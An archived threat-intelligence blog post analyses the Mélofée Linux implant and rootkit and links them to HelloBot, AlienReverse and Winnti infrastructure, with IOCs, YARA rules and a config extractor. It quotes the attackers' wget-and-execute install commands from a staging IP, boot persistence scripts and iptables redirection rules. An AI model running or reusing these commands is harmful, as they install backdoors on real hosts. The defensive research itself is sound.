

# Mélofée: a new alien malware in the Panda's toolset targeting Linux hosts

Published: 2023-03-28 · Archived: 2026-04-05 21:37:01 UTC

We recently discovered a novel undetected implant family targeting Linux servers, which we dubbed *Mélofée*.

We linked with high confidence this malware to Chinese state-sponsored APT groups, in particular the notorious *Winnti* group.

In this blogpost we will first analyze the capabilities offered by this malware family, which include a kernel mode rootkit, and then deep dive in an infrastructure pivot maze to discover related adversary toolsets.



## Mélofée implant analysis

We found three samples of this malware family, which we dubbed *Mélofee*.

Two of these samples included a version number ( 20220111 , 20220308 ), and we assess that the last sample was likely dated from late April or May 2022.

All these samples shared a common code base, but showed a constant development in the following domains:

- evolutions of the communication protocol and the packet format
- change in the encryption of the configuration, using first RC4 and then a simple xor
- the development of a SelfForwardServer functionality
- lastly, the inclusion of a kernel mode rootkit in the last sample.

## Rootkit

The first sample we found dropped a rootkit based on a modified version of the open source projet [Reptile 1](#).

According to the `vermagic` metadata, it is compiled for a kernel version `5.10.112-108.499.amzn2.x86_64`. The rootkit has a limited set of features, mainly installing a hook designed for hiding itself.

The rootkit hooks the functions `fillonedir`, `filldir` and `filldir64` in order to not display files with names containing `intel_audio` or `rc.modules` when listing a directory.

It also hooks the `inet_ioctl` function in order to be able to communicate with its userland part using the `ioctl` system call. The kernel rootkit expects the userland component to send a value of `0xe0e0e0e` during the IOCTL call, with 2 commands supported (these two commands being `hide` and `show`).

The rootkit is loaded both by the *installer* and *server* components with a call to the `insmod` utility.

## Installer

The implant and the rootkit were installed using shell commands downloading both the installer and a custom binary package from an adversary controlled server. This behaviour is similar to the installation process of *Winnit* Linux rootkits.

```
wget http://173.209.62[.]186:8765/installer -O /var/tmp/installer
wget http://173.209.62[.]186:8765/a.dat -O /var/tmp/usbd;
chmod +x /var/tmp/installer;
/var/tmp/installer -i /var/tmp/usbd
```

The installer is also developed in `C++`, and takes the binary package as an argument. It then then proceeds to extract and install both the rootkit and the *server* component. The rootkit and implant paths are hardcoded to respectively `/etc/intel_audio/intel_audio.ko` and `/etc/intel_audio/audio`. The installer inserts the kernel rootkit using a call to `system("insmod /etc/intel_audio/intel_audio.ko")`, and also install the persistence in the `/etc/rc.modules` file.

Writing to this script ensures that both kernel and implant are executed at boot time<sup>2</sup>.

The resulting script after installation can be seen below:

```
#!/bin/sh
#Script for starting modules
/sbin/insmod /etc/intel_audio/intel_audio.ko
/etc/intel_audio/audio
#End script
```

The first bytes of the package includes the offset to the payload (in little endian), which is used to correctly extract the kernel rootkit and the *server* implant.

```
00000000: b07e 0000 a841 3000 7f45 4c46 0201 0100  .~...A0..ELF....
00000010: 0000 0000 0000 0000 0100 3e00 0100 0000  .....>.....
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  .....
```

The developer was also kind enough to includes an `usage` function describing the installer's options:

```
void usage(undefined8 param_1)
{
    printf("Usage: <%s> [options]\n",param_1);
    puts("    -r          Remove");
    puts("    -i <data file>  Install");
    puts("    -d          Run in background");
    puts("    -h          Show help");
    return;
}
```

## Configuration management

The configuration is encrypted using the *RC4* algorithm in the two early samples, and with a simple `xor` with a single byte key ( `0x43` ) in the undated sample.

The configuration format has changed between the samples, the first one containing all elements in encrypted form, and the last one with only the C&C domain encrypted.

Example of decrypted configuration:

```
1:www.data-yuzefuji[.]com:443:5
```

This configuration contains the following elements:

- The socket type ( `0x1` being `TCP` )
- The C&C domain
- The communication port

- The sleeptime in minutes between requests

### Persistence mechanisms

The implant has two mechanisms of persistence, depending on its running privileges. If it runs as the `root` user, it tries to write a line containing `sh -c IMPLANT_EXECUTABLE_NAME >/dev/null 2>&` in the files `/etc/rc.local` or `/etc/rc.d/rc.local`.

If it runs as a simple user, it will try to install its persistence in the following files:

- `/home/CURRENT_USERNAME/.bash_profile`
- `/home/CURRENT_USERNAME/.bash_login`
- `/home/CURRENT_USERNAME/.profile`

The rootkit installer will insert the persistence for the kernel module in the `/etc/rc.modules` file.

### Supported commands

The commands supported by the implant have evolved between the samples, showing current development of the backdoor.

The first two versions:

Command ID	Capability	Comment
0x103	ping_back	Sent by the client
0x1	uninstall	Kill the current process and removes the persistence
0x2	update_and_relaunch	Overwrite the current running file and relaunch
0x3	launch_new_command_thread	Creates a new socket for interaction
0x4	write_file	
0x5	read_file	
0x6	launch_shell	
0x7	create_socket	0x0 : TCP, 0x1 : TLS, 0x2 : UDP
0x10	send_local_information	Hostname, date, current UID, implant version number, ...
0x50001	list_directory	
0x50002	create_directory	
0x50003	not_implemented	
0x50004	delete_directory	Wrapper over <code>system("rm -fr %s)</code>

Last version:

Command ID	Capability	Comment
0x10005	reset_timer	
0x10002	clean_and_exit	
0x10004	create_socket	Create a bidirectional socket, probably used for proxying
0x40001	list_directory	
0x40002	delete_directory	Wrapper over <code>system("rm -fr %s")</code>
0x40003	rename	
0x40004	create_directory	
0x40005	write_file	
0x40006	read_file	
0x50001	exec_command_with_output	
0x70001	write_integer_to_file	Purpose unknown, probably used for sleeptime
0x60001	launch_shell	
0x90001	no_op	

## Communication protocols

The communication protocols have evolved in the three analyzed samples, however three socket types are implemented:

- `TCPsocket` (type `0x0`) using raw TCP, with a custom packet format described below;
- `TLSSocket` (type `0x1`), using a TLS encrypted channel to exchange with the C&C server;
- `UDPSocket` (type `0x2`), using the `KCP` protocol [3](#) to send data. It should be noted that the `KCP` protocol is a public communication library, and is also used in several malware families such as *Amoeba* [4](#) or *CrossWalk* [5](#);
- Some leftover code seems to indicate that there could be a third type `0x3` for HTTP based communications, but it was not implemented in the analyzed samples.

While the data is not encrypted in any form in two of the samples, in the last one it is encrypted using the `RC4` algorithm with a hardcoded key (`\x01\x02\x03\x04` repeated 4 times).

The packet formats used by *Mélofée* are the following:

```
struct Packet202201_3 {
    unsigned int dwCommand;
    unsigned int dwCommandResult;
    unsigned int dwUnknown;
    unsigned int dwDataSize;
    char [] clear_text_data;
}

struct Packet202205 {
    unsigned int dwUnknown;
    unsigned int dwRandom1;
    unsigned int dwRandom2;
    unsigned int dwCommandResult;
    unsigned int dwCommandID;
    unsigned int dwCommandSize;
    char [] encrypted_data;
}
```

## SelfForwardServer and listening server

In the latest sample, a new functionality was implemented, named `SelfForwardServer`.

Depending on a configuration flag, the implant can install `iptables` rules to redirect TCP network traffic from port `57590`

The steps to install these rules are the following:

- First a new *NAT* chain named is created `XFILTER` using the following command: `iptables -t nat -N %s`
- A redirection rule is added for the port in this *NAT* chain: `iptables -t nat -A %s -p tcp -j REDIRECT --to-port %d`
- Save the recent connections from port `45535` with the name `ipxles`: `iptables -t nat -A PREROUTING -p tcp --sport 45535 -m recent --set --name %s --rsource -j ACCEPT`
- Redirects recent `ipxles` connections to the *NAT* chain: `iptables -t nat -A PREROUTING -p tcp --dport %d --syn -m recent --rcheck --seconds 300 --name %s --rsource -j %s`
- Finally, the host is instructed to accept network traffic on the port `57590` using the command `iptables -I INPUT -p tcp --dport %d -j ACCEPT`

It should be noted that while the `SelfForwardServer` was deactivated in the configuration, the sample embedded both a self-signed certificate generated on `2021-06-03` and the corresponding private key to be used for securing communication in `Server` mode.

Some of the underlying code is also present in the two earlier samples (as documented by leftover `RTTI` information), and three types of server were available:

- `TCPServer` (type `0x00`)

- `TLServer` (type `0x1` )
- `UDPServer` (type `0x2` )

One interesting tidbit of this code is hidden in the `receive` function of the `TLServer` (at address `0x429b7a` in the undated sample). When the 4 first bytes received by this function using the `recv` library call are `03 01 d3 76` , a flag affecting the creation of the subsequent socket is set. However, we could not identify precisely the purpose of this magic.

Because of the presence of unused code, and the evolutions between the samples, we assess that the `Server` and `SelfForwardServer` are currently under development by the attackers.

## Another pokemon inside the attacker's toolset

We analyzed the infrastructure used by the attacker using pivot on both public and private datasets. We assess that this malware family is probably linked to the *Amoeba* and *Winnti* [4](#) [6](#) [7](#) [8](#) state sponsored threat groups.

The infrastructure for the *Mélofée* implants are linked to the following tools:

- Some of the servers were tracked by our [Cyber Threat Intelligence](#) as *ShadowPad* C&C servers;
- Other servers were linked to both *Winnti* and *HelloBot* tools;
- We also saw related domains used as C&C servers for tools like *PlugX*, *Spark*<sup>9</sup>, *Cobalt Strike*, *StowAway* [10](#), and the legitimate *toDesk* remote control tool;
- Lastly, the attacker also probably used the *ezXSS* [11](#) tool, but we could not confirm why.

## Hellobot

*HelloBot* is a malware family also targeting Linux hosts and is known to be used by APT groups such as *Earth Berberoka* [6](#). While pivoting on the *Mélofée* infrastructure, we found a common IP with an *HelloBot* sample, which provided another point to dig in.

We found several samples of this malware and developed a custom configuration extraction script (provided in the annexes of this blog post).

Using the configurations extracted, we also were able to find strong infrastructure links between *HelloBot* and *Winnti*, for example both used a subdomain of `git1ab[.]com` and `cloudflare[.]com` as C&C servers.


## Probable links with Winnti

The response issued by the C&C server at the IP address `173.209.62.186` on the port 443 could be uniquely linked to another domain `dev.yuanta.dev` . This server was known to be used to stage archives containing an installer for the Linux version of the *Winnti* rootkit [7](#).

We also downloaded several samples of this malware family, extracted the configuration (using the script provided by *Chronicle*), and found several common domains between *HelloBot* and *Winnti*, such as `cloudflare[.]com` and `git1ab[.]com` .

## Analysis graph

Using the previous datapoints, we generated an infrastructure graph to draw the relations between the samples.



We assess with high confidence that *HelloBot*, *Winnti* and *Mélofée* are all related and were used by Chinese state sponsored attacker groups during at least all of 2022.

## Alien

During our analysis, we discovered another Linux implant dubbed *AlienReverse*.

This code was architected in a similar manner as *Mélofée*, however there are several crucial differences:

- The data of the communication protocol was encrypted using `pe1_decrypt` and `pe1_encrypt` from the `Reptile` project [1](#).
- The command IDs were different, as can be seen below
- The tool included several other public tools, such as `EarthWorm` [12](#) and `socks_proxy` [13](#).

There were however some common points between *Mélofée* and *AlienReverse*

- Both implants were developed in `C++`
- Both implants used a file with a fixed ID in `/var/tmp/%s.lock` to ensure only one implant is running (this code was found in public [14](#), but seems rarely used in the wild)
- This implant implemented a similar mechanism for limiting working hours (defined as `worktime` )

The command supported by this implant were the following:

Command ID	Capability	Comment
0x110010	CmdBroadcast	Send encrypted data over the socket
0x110011	CmdOnRainUninstall	Unimplemented

Command ID	Capability	Comment
0x110020	CmdOnLine	Send local information such as hostname, date, and current UID to the server
0x110061	FileManager	Supports several subcommands such as <code>OpenFile</code> , <code>CreateDir</code> , <code>FileEnum</code> , <code>FileDownload</code> , ...
0x110062	ScreenSnapshot	Unimplemented
0x110063	CmdOnTaskList	Unimplemented
0x110064	CmdOnShellCommand	Launch interactive shell
0x110065	CmdOnShellActive	Unimplemented
0x110066	CmdOnServiceList	Unimplemented
0x110068	CmdOnPortMapping	Launches <code>EarthWorm</code> to perform the port mapping, supporting a scanning mode with another <code>AlienReverse</code> implant used as a proxy. Also implements the management of a <code>Socks</code> proxy
0x110073	CmdOnKbdRecord	Unimplemented
0x110075	CmdOnWorkTime	Writes the expected runtime hours in the file <code>/tmp/worktime</code>

The packet format used by the communication protocol is very similar to the one used by *Mélofée*:

```
struct AlienComzPacket {
    unsigned int dwTickCount;
    unsigned int dwMagic1; // 0xa003001
    unsigned int dwMagic2; // 0x10000137, also used to indicate if the packet has data
    unsigned int dwCommandID;
    unsigned int dwTotalSize;
    unsigned int dwEncryptedSize;
    unsigned int ;
    char [] data; // The data encrypted using peL_encrypt
}
```

While we initially thought that this sample was related to the *Mélofée* family, we came to the conclusion that it is a distinct tool. However, we decided to include it in this report because it was used as a starting point in this investigation, and we think that sharing it to the public is important.

We also could not link it to known adversary groups, but we assess that it is likely used in targeted attacks.

## Conclusion

The *Mélofee* implant family is another tool in the arsenal of chinese state sponsored attackers, which show constant innovation and development.

The capabilities offered by *Mélofee* are relatively simple, but may enable adversaries to conduct their attacks under the radar. These implants were not widely seen, showing that the attacker are likely limiting its usage to high value targets.

## Annexes

### IOCs

#### Hashes

SHA256	FileType	Comment
3ca39774a4405537674673227940e306cf5e8cd8dfa1f5fc626869738a489c3d	Text file	Installation commands
758b0934b7adddb794951d15a6ddcace1fa523e814aa40b55e2d071cf2df81f0	ELF x64 executable	Installer
a5a4284f87fd475b9474626040d289ffabba1066fae6c37bd7de9dabaf65e87a	ELF x64 executable	Implant version 20220111
2db4adf44b446cdd1989cbc139e67c068716fb76a460654791eef7a959627009	ELF x64 executable	Implant version 20220308
8d855c28744dd6a9c0668ad9659baf06e5e448353f54d2f99beddd21b41390b7	ELF x64 executable	Implant with rootkit and without version number
f3e35850ce20dfc731a6544b2194de3f35101ca51de4764b8629a692972bef68	Binary file	Container of rootkit and implant probably used for installation
330a61fa666001be55db9e6f286e29cce4af7f79c6ae267975c19605a2146a21	PE x64 executable	Cobalt Strike beacon
7149cdb130e1a52862168856eae01791cc3d9632287f990d90da0cce1dc7c6b9	PE32 executable	Cobalt Strike beacon
a62b67596640a3ebadd288e733f933ff581cc1822d6871351d82bd7472655bb5	ELF x64 executable	StowAway proxy tool

SHA256	FileType	Comment
3535f45bbfafda863665c41d97d894c39277dfd9af1079581d28015f76669b88	ELF x64 executable	<i>AlienReverse</i> implant
2e62d6c47c00458da9338c990b095594eceb3994bf96812c329f8326041208e8	ELF x32 executable	<i>HelloBot</i> implant
407ab8618fed74fdb5fd374f3ed4a2fd9e8ea85631be2787e2ad17200f0462b8	ELF x32 executable	<i>HelloBot</i> implant
187b6a4c6bc379c183657d8eafc225da53ab8f78ac192704b713cc202cf89a17	ELF x32 executable	<i>HelloBot</i> implant
2801a3cc5aed8ecb391a9638a3c6f8db58ca3002e66f11bf88f8c7c2e5a6b009	ELF x32 executable	<i>HelloBot</i> implant
6e858c2c9ae20e3149cb0012ab9a24995aa331d2a818b127b2f517bc3aa745a0	PE x64 executable	<i>Go</i> downloader for <i>toDesk</i>
7684e1dfaeb2e7c8fd1c9bd65041b705bc92a87d9e11e327309f6c21b5e7ad97	PE x64 executable	<i>Go</i> downloader for <i>toDesk</i>
899ef7681982941b233e1ea3c1a6d5a4e90153bbb2809f70ee5f6fcece06cab	PE x64 executable	<i>Spark</i> implant
c36ab5108491f4969512f4d35e0d42b3d371033c8ccf03e700c60fb98d5a95f8	ELF x64	UPX Packed executable (probably NPS, to confirm)
ad5bc6c4e653f88c451f6f6375516cc36a8fa03dd5a4d1412a418c91d4f9bec8	ASCII text file	Script dropped in <code>/etc/rc.modules</code> for rootkit persistence
1f9e4bfb25622eab6c33da7da9be6c51cf8bf1a284ee1c1703a3cee445bc8cd9	ELF x64 executable	<i>Winnti</i> Linux
22fd67457274635db7dd679782e002009363010db66523973b4748d5778b1a2a	ELF x64 executable	<i>Winnti</i> Linux
3c1842d29a3445bd3b85be486e49dba36b8b5ad55841c0ce00630cb83386881d	ELF x64 executable	<i>Winnti</i> Linux
5861584bb7fa46373c1b1f83b1e066a3d82e9c10ce87539ee1633ef0f567e743	ELF x64 executable	<i>Winnti</i> Linux rootkit

SHA256	FileType	Comment
378acfdbcec039cfe7287faac184adf6ad525b201cf781db9082b784c9c75c99	Shell script	Winnti Linux rootkit installer
617f9add4c27f3bb91a32fee007cce01f5a51deaf42e75e6cec3e71afe2ba967	ELF x64 executable	Winnti Linux
69ff2f88c1f9007b80d591e9655cc61eaa4709ccd8b3aa6ec15e3aa46b9098bd	ELF x64 executable	Winnti Linux
ad979716afbce85776251d51716aeb00665118fb350038d150c129256dd6fc5f	ELF x64 executable	Winnti Linux
f49f1b2cc52623624fdd3d636056b8a80705f6456a3d5a676e3fb78749bdd281	ELF x64 executable	Winnti Linux
2c1a6fe08c8cbdc904809be4c12b520888da7f33123d1656a268780a9be45e20	ELF x64 executable	Winnti Linux rootkit (Azazel fork)
a37661830859ca440d777af0bfa829b01d276bb1f81fe14b1485fa3c09f5f286	JavaScript file	ezXSS payload

### FileNames

- /etc/intel\_audio
- /etc/intel\_audio/id
- /etc/intel\_audio/intel\_audio.ko

### Network IOCs

IOC	Comment
dgbyem[.]com	AlienReverse C&C domain
update[.]ankining[.]com	Mélofee C&C subdomain
www.data-yuzefuji.com	Mélofee C&C domain
ssm[.]awszonwork[.]com	Mélofee C&C subdomain
stock[.]awszonwork[.]com	CobaltStrike C&C subdomain
help[.]git1ab[.]com	HelloBot C&C subdomain
about[.]git1ab[.]com	StowAway and Winnti C&C subdomain

IOC	Comment
www[.]git1ab[.]com	Unknown usage
cloudflare[.]com	<i>CobaltStrike</i> C&C domain, <i>PlugX</i> staging
cdn[.]cloudflare[.]com	<i>HelloBot</i> C&C subdomain
cdn2[.]cloudflare[.]com	C&C subdomain
cdn3[.]cloudflare[.]com	C&C subdomain
cdn4[.]cloudflare[.]com	C&C subdomain
dns[.]cloudflare[.]com	<i>PlugX</i> and <i>Winnti</i> C&C subdomain
dns2[.]cloudflare[.]com	<i>Spark</i> C&C subdomain, <i>ToDesk</i> staging
dev[.]yuanta[.]dev	Probable <i>Winnti</i> C&C domain
test[.]yuanta[.]dev	Probable <i>Winnti</i> C&C domain
us.securitycloud-symantec[.]icu	<i>Winnti</i> C&C domain
vt.livehost[.]live	<i>Winnti</i> C&C domain
156.67.208[.]192	<i>Mélofee</i> C&C IP
5.61.57[.]80	<i>Mélofee</i> C&C IP
147.139.28[.]254	<i>AlienReverse</i> C&C IP
173.209.62[.]186	<i>Mélofee</i> installer staging
173.209.62[.]187	C&C server
173.209.62[.]188	<i>Mélofee</i> C&C server and <i>Winnti</i> staging domain
173.209.62[.]189	C&C server
173.209.62[.]190	<i>Mélofee</i> C&C IP
167.172.73[.]202	<i>CobaltStrike</i> , * // <i>The data encrypted using pel_encryptShadowPad</i> and <i>HelloBot</i> C&C IP
47.243.51[.]98	<i>StowAway</i> C&C IP
185.145.128[.]90	<i>CobaltStrike</i> and <i>PlugX</i> C&C IP
103.87.10[.]100	<i>toDesk</i> staging

IOC	Comment
202.182.101[.]174	PlugX C&C IP
144.202.112[.]187	PlugX staging
38.54.30[.]39	Winnti C&C IP

## Yara rules

```

rule UNK_APT_MelofeeImplant {
  meta:
    author = "Exatrack"
    date = "2023-03-03"
    update = "2023-03-03"
    description = "Detects the Melofee implant"
    tlp = "CLEAR"
    sample_hash = "a5a4284f87fd475b9474626040d289ffabba1066fae6c37bd7de9dabaf65e87a,f3e35850ce20dfc731a6544f"

  strings:
    $str_melofee_implant_01 = "10PipeSocket"
    $str_melofee_implant_02 = "ikcp_ack_push"
    $str_melofee_implant_03 = "TLSSocketEE"
    $str_melofee_implant_04 = "/tmp/%s.lock"
    $str_melofee_implant_05 = "neosmart::WaitForMultipleEvents"
    $str_melofee_implant_06 = "9TLSSocket"
    $str_melofee_implant_07 = "7VServer"
    $str_melofee_implant_08 = "N5boost6detail13sp_ms_deleterI13UdpSocketWrapEE"
    $str_melofee_implant_09 = "UdpServerWrap"
    $str_melofee_implant_10 = "KcpUpdater"
    $str_melofee_implant_11 = "SelfForwardServer"

    $str_command_parsing_01 = {3? 01 00 05 00 ?? ?? ?? ?? 00 00 3? 01 00 05 00 ?? ?? 3? 05 00 04 00}
    $str_command_parsing_02 = {3? 04 00 04 00 ?? ?? ?? ?? 00 00 3? 04 00 04 00 ?? ?? 3? 05 00 01 00}
    $str_command_parsing_03 = {3? 01 00 07 00 ?? ?? ?? ?? 00 00 3? 01 00 09 00 ?? ?? ?? ?? ?? 00 3? 01 00 00 00}

  condition:
    3 of them
}

rule UNK_APT_Melofee_Installer {
  meta:
    author = "Exatrack"
    date = "2023-03-15"
    update = "2023-03-15"

```

```
description = "Detects the installer for melofee malware"
score = 80
tlp = "AMBER"
source = "Exatrack"
sample_hash = "758b0934b7adddb794951d15a6ddcace1fa523e814aa40b55e2d071cf2df81f0"

strings:
    $str_melofee_installer_01 = "#Script for starting modules"
    $str_melofee_installer_02 = "#End script"
    $str_melofee_installer_03 = "/etc/intel_audio/"
    $str_melofee_installer_04 = "rm -fr /etc/rc.modules"
    $str_melofee_installer_05 = "-i <data file>      Install"
    $str_melofee_installer_06 = "create home folder failed"
    $str_melofee_installer_07 = "create rootkit file failed"
    $str_melofee_installer_08 = "create auto start file failed"
    $str_melofee_installer_09 = "Remove Done!" // only 3 files on VT with this :D
    $str_melofee_installer_10 = "Unkown option %c\n"

condition:
    any of them
}

rule UNK_APT_Alien_Implant {
    meta:
        author = "Exatrack"
        date = "2023-03-03"
        update = "2023-03-03"
        description = "Detects an unknown implant from AlienManager family, maybe related to melofee"
        tlp = "CLEAR"
        sample_hash = "3535f45bbfafda863665c41d97d894c39277dfd9af1079581d28015f76669b88,"

    strings:
        $str_alien_01 = "[+] Connect %s Successed,Start Transfer..."
        $str_alien_02 = "Alloc buffer to decrypt data error, length == %d."
        $str_alien_03 = "peL_decrypt_msg data error, error"
        $str_alien_04 = "encrypt data error, length == %d."
        $str_alien_05 = "DoRecvOverlapInternal error!"
        $str_alien_06 = "Socks Listen port is %d,Username is %s, password is %s"
        $str_alien_07 = "Start port mapping error! remoteAddr=%s remotePort=%d localAddr=%s localPort=%d"
        $str_alien_08 = "OnCmdSocksStart error!"
        $str_alien_09 = "The master isn't readable!"
        $str_alien_10 = "ConnectBypassSocks proxy:%s:%d error!"
        $str_alien_11 = "ConnectBypassSocks to %s %d"
        $str_alien_12 = "now datetime: %d-%d-%d %d:%d:%d"
        $str_alien_13 = "Not during working hours! Disconnect!"
        $str_alien_14 = "Example: ./AlienReverse --reverse-address=192.168.1.101:80 --reverse-password=123456"
```

```
$str_alien_15 = "Not during working hours! Disconnect!"
$str_alien_16 = "SocksManager.cpp"
$str_alien_17 = "connect() in app_connect"
$str_alien_18 = "They send us %hhX %hhX"
$str_alien_19 = "your input directory is not exist!"
$str_alien_20 = "Send data to local error ==> %d.\n"

condition:
    any of them
}
```

## ATT&CK Techniques used

- T1583.001 - Attackers acquired servers for staging and command & control
- T5183.004 - Attackers acquired domains
- T1071.001 - Attacker uses application layer protocols as C2
- T1587.001 - Adversary develop custom malware to achieve its attacks
- T1037.004 - Adversary uses RC scripts as persistence
- T1059.004 - Attacker uses Unix shell commands and scripts
- T1132.002 - Non standard encoding using KCP
- T1573.001 - Attacker uses RC4 to encrypt its C2 traffic
- T1083 - File and directory discovery
- T1592.002 - Attacker discovers the installed version of the Linux distribution
- T1564.001 - Adversary hides the files using a rootkit
- T1562.003 - Adversary disables the shell history when executing a command
- T1070.004 - Adversary can remove the implant, the rootkit and its configuratin from the system
- T1599.001 - Adversary can modify thze firewall rules of the compromised host
- T1095 - Adversary can use UDP as a communication layer
- T1571 - Adversary can use alternative ports for communication
- T1027.002 - HelloBot implants are packed using UPX with the configuration appended
- T1027.007 - Adversary payloads are stripped
- T1588.001 - Adversary may buy or download malware
- T1588.002 - Adversary may buy or download tools such as Cobalt Strike
- T1057 - Adversary may list the processes executing on the compromised host
- T1572 - Adversary may tunnel network communications
- T1090 - Adversary may use a connection proxy for accessing internal ressources
- T1014 - Adversary uses a rootkit
- T1608.001 - Adversary uploads its malware on its infrastructure for deploying
- T1608.002 - Adversary uploads its tools on its infrastructure
- T1082 - Adversary gets detailed information about the compromised host such as the operating system version
- T1497.003 - Adversary uses time-based methods to avoid detection

```
#!/usr/bin/env python3
# encoding: utf-8
"""

Hello Bot configuration extractor

(c) 2023 Exatrack
"""
import sys
import argparse
import struct

def decrypt_config(config):
    """
    Decrypts hellobot configuration
    """
    old_char = 0
    out = []
    key = b'ecfafaeb6ee7d642'
    for index, car in enumerate(config):
        bVar1 = old_char ^ key[index%len(key)]
        dec_car = bVar1 ^ car
        old_char = car
        out.append(dec_car)
    return bytes(bytearray(out))

def get_config(data):
    """
    Extract the pointer to the configuration
    """
    offset = struct.unpack('I', data[-4:])[0]
    if offset > len(data)-4:
        print("[!] Error, cannot find offset, probably not a packed Hellobot sample")
        raise IOError
    config = data[-offset-4:-4]
    if b'[main]' in config:
        print("[x] Success, found hellobot configuration")
    return -offset-4, config

def extract_hellobot(fname):
    packed_data = open(fname, 'rb').read()

    offset, config = get_config(packed_data)
```

```
to_unpack = packed_data[:offset]
with open(f"{fname}_config", "wb") as of:
    of.write(config)
with open(f"{fname}_config_decrypted", "wb") as of:
    of.write(decrypt_config(config))
with open(f"{fname}_packed", "wb") as of:
    of.write(to_unpack)

def main():
    parser = argparse.ArgumentParser(description=sys.modules[__name__].__doc__)
    parser.add_argument("filename", help="The filename of the sample to unpack")
    args = parser.parse_args()
    extract_hellobot(args.filename)
if __name__ == "__main__":
    main()
```

1. <https://github.com/f0rb1dd3n/Reptile> ↩ ↩
2. [https://access.redhat.com/documentation/en-us/red\\_hat\\_enterprise\\_linux/5/html/deployment\\_guide/s1-kernel-modules-persistent](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/deployment_guide/s1-kernel-modules-persistent) ↩
3. <https://github.com/skywind3000/kcp> ↩
4. <https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf> ↩ ↩
5. <https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/> ↩
6. [https://documents.trendmicro.com/assets/white\\_papers/wp-operation-earth-berberoka.pdf](https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf) ↩ ↩
7. <https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a> ↩ ↩
8. <https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan> ↩
9. <https://github.com/XZB-1248/Spark> ↩
10. <https://github.com/ph4ntonn/Stowaway> ↩
11. <https://github.com/ssl/ezXSS> ↩
12. <http://rootkiter.com/EarthWorm/> ↩
13. [https://github.com/fgssfgss/socks\\_proxy](https://github.com/fgssfgss/socks_proxy) ↩
14. [https://blog.csdn.net/weixin\\_29100927/article/details/116577862](https://blog.csdn.net/weixin_29100927/article/details/116577862) ↩

Source: <https://blog.exatrack.com/melofee/>